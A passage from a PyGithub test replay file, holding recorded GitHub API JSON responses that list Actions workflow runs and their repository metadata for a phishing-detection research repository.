","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":26754212,"node_id":"MDExOldvcmtmbG93UnVuMjY3NTQyMTI=","head_branch":"master","head_sha":"a8511f8d1c175332a8dd5c77df314ac2a3557771","run_number":10,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":399233799,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUzOTkyMzM3OTk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/26754212","pull_requests":[],"created_at":"2020-01-14T06:50:54Z","updated_at":"2020-01-14T06:55:26Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/399233799","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a8511f8d1c175332a8dd5c77df314ac2a3557771","tree_id":"e0fc2b4f2eb107ebc4e431a257c02a4928f03c38","message":"Added github workflow to run unit tests","timestamp":"2020-01-14T03:14:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"Shahryar Baki","email":"sh.baki@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":26125138,"node_id":"MDExOldvcmtmbG93UnVuMjYxMjUxMzg=","head_branch":"master","head_sha":"a8511f8d1c175332a8dd5c77df314ac2a3557771","run_number":4,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":399033679,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUzOTkwMzM2Nzk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/26125138","pull_requests":[],"created_at":"2020-01-14T03:14:38Z","updated_at":"2020-01-14T03:18:58Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/399033679","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a8511f8d1c175332a8dd5c77df314ac2a3557771","tree_id":"e0fc2b4f2eb107ebc4e431a257c02a4928f03c38","message":"Added github workflow to run unit tests","timestamp":"2020-01-14T03:14:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"Shahryar Baki","email":"sh.baki@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1682.test_string_parameters.txt0000644000175100001660000352277714756101563026343 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runs?actor=xzhou29 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a84f98b3e45685a627394e6d4fbfd8b444bd5d44c23e5ddcf0677fba2c8de447"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4908'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '92'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14E:3C28:8EC09:F51B8:5F987C9E')] {"total_count":23,"workflow_runs":[{"id":226142695,"node_id":"MDExOldvcmtmbG93UnVuMjI2MTQyNjk1","head_branch":"master","head_sha":"a46c296b2c5703c38343133c6006695ec6675de3","run_number":752,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1103983611,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMTAzOTgzNjEx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/226142695","pull_requests":[],"created_at":"2020-08-26T23:15:50Z","updated_at":"2020-08-26T23:26:16Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1103983611","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a46c296b2c5703c38343133c6006695ec6675de3","tree_id":"240605e0c76f5d41da26d173eb5f1ff1ef6bfd4f","message":"Removed Dependency on Chrome (#189)\n\n* Removed selenium dependency\r\n\r\n* Added test\r\n\r\n* Mocked whois test\r\n\r\n* Updated feature extraction code\r\n\r\n* Removed duplicate feature call\r\n\r\n* Removed chromedriver\r\n\r\n* Updated the changelog\r\n\r\n* Formatted file\r\n\r\n* Removed HTTPResponse namedtuple\r\n\r\n* Removed extra import\r\n\r\n* Added documentation\r\n\r\n* Cleaned up test\r\n\r\n* Added basic docstring for input.url_input\r\n\r\n* Incremented version number","timestamp":"2020-08-26T20:41:07Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/mile